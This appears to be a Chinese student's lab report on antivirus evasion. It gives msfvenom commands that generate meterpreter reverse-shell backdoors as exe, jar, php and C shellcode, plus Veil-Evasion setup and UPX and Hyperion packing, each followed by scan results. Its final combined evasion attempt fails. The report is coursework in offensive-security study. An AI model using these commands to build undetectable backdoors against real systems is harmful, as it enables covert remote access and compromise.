2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

实验内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

1. 正确使用msf编码器,生成exe文件

  • 使用VirusTotalVirscan这两个网站对实验二生成的后门程序进行扫描。
  • 可以发现,在virustotal70种杀软中,有51种杀软能识别出该代码是恶意代码。
  • Virscan结果如下:

    可见不加任何处理的后门程序能够被大多数杀软检测到
  • 用msf编码器对后门程序进行一次到多次的编码,并进行检测。
  • 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.105 LPORT=5317 -f exe > oncemsf.exe
  • 经过一次编码后的文件扫描结果如下
  • 十次编码使用命令:-i设置迭代次数
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.105 LPORT=5317 -f exe > tenmsf.exe
  • 扫描结果如下:
  • 多次编码对免杀没有太大的效果。

2. msfvenom生成jar文件

  • 生成java后门程序使用命令:
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=5317 x> nxy_backdoor_java.jar
  • 扫描结果如下

3. msfvenom生成php文件

  • 生成PHP后门程序使用命令:
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=5317 x> 20165317_backdoor.php
  • 扫描结果如下

    (php是世界上最好的语言!!!!!狗头.jpg)

4. 使用veil-evasion生成后门程序及检测

安装veil

  • 如果镜像是2018的话,在安装之前可以先执行下面的指令,可能会需要比较长的时间
mkdir -p ~/.cache/wine
cd ~/.cache/wine 
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
  • sudo apt-get install veil命令安装Veil
  • 之后用veil打开veil,输入y继续安装直至完成,这期间可能要等待较长时间:
  • 因为网络连接问题和系统不兼容,所以出现了很多问题
  • 首先更新系统,在管理员模式下输入下列命令
apt-get update
apt-get upgrade
  • 然后再用veil打开veil,输入y继续安装直至完成。效果如下:
  • use evasion命令进入Evil-Evasion
  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面
  • 设置反弹连接IP,命令为:set LHOST 192.168.1.102,注意此处的IP是KaliIP
  • 设置端口,命令为:set LPORT 5317
  • 输入generate生成文件,接着输入你想要playload的名字:veil_c_5317
  • 扫描结果如下,可见veil-evasion生成的后门程序效果仍不理想

5. 半手工注入Shellcode并执行

  • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=5317 -f c用c语言生成一段shellcode;
  • 创建一个文件20165317.c,然后将unsigned char buf[]赋值到其中
  • 使用命令:i686-w64-mingw32-g++ 20165317.c -o 20165317.exe编译这个.c文件为可执行文件;
  • 扫描结果如下

6.加壳

使用压缩壳(UPX)

  • 给之前的20165317.exe加个壳得到nxy_upx.exe:
  • 扫描结果如下:

    使用加密壳Hyperion
  • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
  • 进入目录/usr/share/windows-binaries/hyperion/
  • 输入命令wine hyperion.exe -v nxy_upx.exe nxy_upx_Hyperion.exe进行加壳
  • (这个地方从图形界面复制一直显示权限不够,怎么也加不上最后只好从命令行来了)
  • 扫描结果如下:

任务二:通过组合应用各种技术实现恶意代码免杀

  • 通过使用半注入shellcode,压缩壳,保密壳生成后门程序,但很可惜,没有成功,腾讯虽然杀不出病毒但是也无法反弹连接,尝试失败。

回答问题

  • 杀软是如何检测出恶意代码的?
    最常用的方法是检测特征代码,恶意代码通常具有一些特定的,正常程序所不具备的代码,我们称之为特征代码,可以通过这段代码来证明这是恶意代码。不同杀软对特征代码的扫描应该是不同的。第二种方法是依据行为来推断,如果一段代码执行后对系统造成破坏或者窥探用户隐私,则很有可能是恶意代码。第三种方法是启发式检测,通过片面的特征来判断是否是恶意代码,但这种方式较为片面,不常用。
  • 免杀是做什么?
    使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测
  • 免杀的基本方法有哪些?
    免杀可以通过改变特征码和改变行为等方式来进行。改变特征码就是想方设法使得特征码不在我的恶意代码里出现,比如多次编码,或者加壳(不过是不是加壳了之后壳也成为了一种特征码了呢?);改变行为就是减少恶意代码攻击性行为出现的次数,比如说在一个几乎是正常运行没有恶意的超大型程序里植入一个很小的,不经常工作的后门。

感想与体会

本次实验并没有成功,而过程中也遇到了很多的问题,比如说对kali系统本身和Ubuntu的一些区别还是比较模糊不清,veil安装也出现了很大的问题。在解决问题的过程中感觉自己能更加熟练的使用搜索引擎和CSDN等辅助工具,这也是到目前为止,我在大学里最大的收获之一,解决问题的方法很重要。这次虽然大概了解了免杀的原理,但是对于其中一些深层次的东西还是一知半解,导致在做最后的组合性免杀的时候没有成功。另外在本次实验中,我也了解了各杀毒软件的能力和工作原理,还是收获颇丰。

posted on 2019-03-31 20:58  进击的罗老汉  阅读(195)  评论(0编辑  收藏  举报